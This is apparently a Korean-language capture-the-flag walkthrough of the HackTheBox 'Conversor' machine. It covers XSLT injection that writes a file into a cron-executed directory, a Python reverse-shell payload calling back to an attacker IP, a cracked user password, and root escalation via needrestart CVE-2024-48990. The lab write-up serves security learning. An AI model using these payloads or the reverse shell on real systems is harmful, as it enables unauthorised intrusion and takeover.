Box Info

NameDifficulty
ConversorEasy

Reconnaissance & Enumeration

nmap

80 포트로 접속해보면 conversor.htb로 리다이렉트 되길래 /etc/hosts 파일에 10.10.11.92 conversor.htb 추가해주고 진행했습니다.

feroxbuster

http://conversor.htb/static/source_code.tar.gz 파일을 발견 후 웹사이트에 접속했습니다.

Vulnerability Analysis

접속하면 로그인 창이 뜨길래 가입 후 로그인을 진행했습니다.

로그인을 하면 사진과 같이 XML, XSLT 파일을 넣고 Convert 할 수 있는 기능이 서비스 중입니다.

XSLT 파일을 기반으로 XML 파일을 렌더링해서 HTML을 만들어주는 사이트

샘플 파일들을 넣고 convert 한 결과물입니다.

먼저 아까 찾았던 source_code.tar.gz 파일을 받아서 내부에 있는 install.md 파일 내용을 확인해봤는데 서버 내에 아래와 같이 crontab이 설정되어 있는걸 알아냈습니다.

* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done

해당 crontab/var/www/conversor.htb/scripts 경로에 있는 모든 .py 파일을 실행시켜줍니다. 때문에 일단 악성 파이썬 파일을 서버 내에 생성하는 방향으로 공격 기법을 탐색했습니다.

Exploitation

XSLT Injection

XML, XSLT 관련 공격 기법들이 어떤게 있는지 찾아보면서 이것저것 테스트 해보던 중 XSLT Injection 이라는 기법을 찾았습니다.

XSLT Injection 서버에서 XSLT 파일이 실행될때 발생하는 취약점을 이용한 공격.
일반 스타일시트가 아닌 서버에 설치된 엔진이 실행하는 파일이기 때문에 취약점이 발생할 수 있습니다.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

테스트 파일을 그대로 업로드해보니 사진과 같이 에러가 났습니다.

그래서 공격 시도를 해보다가 아래와 같이 페이로드에서 경로를 바꿨더니 정상적으로 업로드가 되었습니다.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common" 
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/evil.txt" method="text">
      Hello World!
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

그래서 정상적으로 업로드 되었다 판단 후 파이썬 리버스쉘 파일을 생성하고 잠시 기다렸더니 리버스쉘이 연결됐습니다.

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/ex.py" method="text">import pty;import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.16.51",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Credential Stuffing

서버 접속 후 conversor.htb/instance/users.db 파일을 발견 후 계정 정보를 얻어 crack station 에서 크랙을 진행했습니다.

userpassword
fismathackKeepmesafeandwarm
해당 정보로 ssh 로그인을 시도하면 성공적으로 로그인이 됩니다.

Privilege Escalation

접속 후 sudo -l 명령어로 확인해보니 needrestartNOPASSWD로 풀려있었습니다.

관련해서 권한상승이 가능할까 검색해보니 CVE-2024-48990 를 찾았습니다.

CVE-2024-48990

  • 영향 버전: needrestart 3.8 미만
  • 기능: 시스템에서 재시작이 필요한 프로세스를 찾아주는 유틸리티
  • 동작 방식: 실행 중인 Python 프로세스를 점검하기 위해 Python 인터프리터를 다시 실행함
  • 문제 원인: 공격자가 설정한 PYTHONPATH 환경변수가 그대로 전달됨
  • 결과: root 권한으로 실행된 needrestart가 공격자 환경을 신뢰하고 Python을 실행, 악성 모듈이 root 권한으로 로드될 수 있음

https://github.com/Mr-DJ/CVE-2024-48990

저는 위 레포지토리에 있는 POC 코드를 이용하여 공격을 진행했습니다.

스크립트를 실행 후 터미널을 하나 더 띄워서 sudo needrestart로 트리거를 해주면 루트 권한을 획득할 수 있습니다.